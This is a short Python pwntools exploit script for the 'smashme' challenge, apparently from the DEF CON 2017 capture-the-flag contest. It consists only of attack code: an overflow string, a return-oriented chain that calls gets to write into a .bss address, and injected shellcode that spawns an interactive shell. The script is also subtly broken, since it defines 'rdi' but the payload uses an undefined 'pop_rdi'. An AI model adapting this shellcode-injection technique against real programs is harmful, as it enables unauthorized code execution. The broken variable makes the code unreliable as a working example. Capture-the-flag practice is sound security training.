defcon2017 smashme (exploit only)

from pwn import *

import time

context(arch='amd64', os='linux')

overflow = "Smash me outside, how bout dAAAAAAAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbBBBB"

bss = p64(0x6CB164)

rdi = p64(0x4014d6)

gets = p64(0x40fad0)

shell = asm(shellcraft.sh())

payload = ""

payload += overflow

payload += pop_rdi+bss

payload += gets+bss

s = process("./smashme")

s.sendline(payload)

time.sleep(1)

s.sendline(shell)

s.interactive()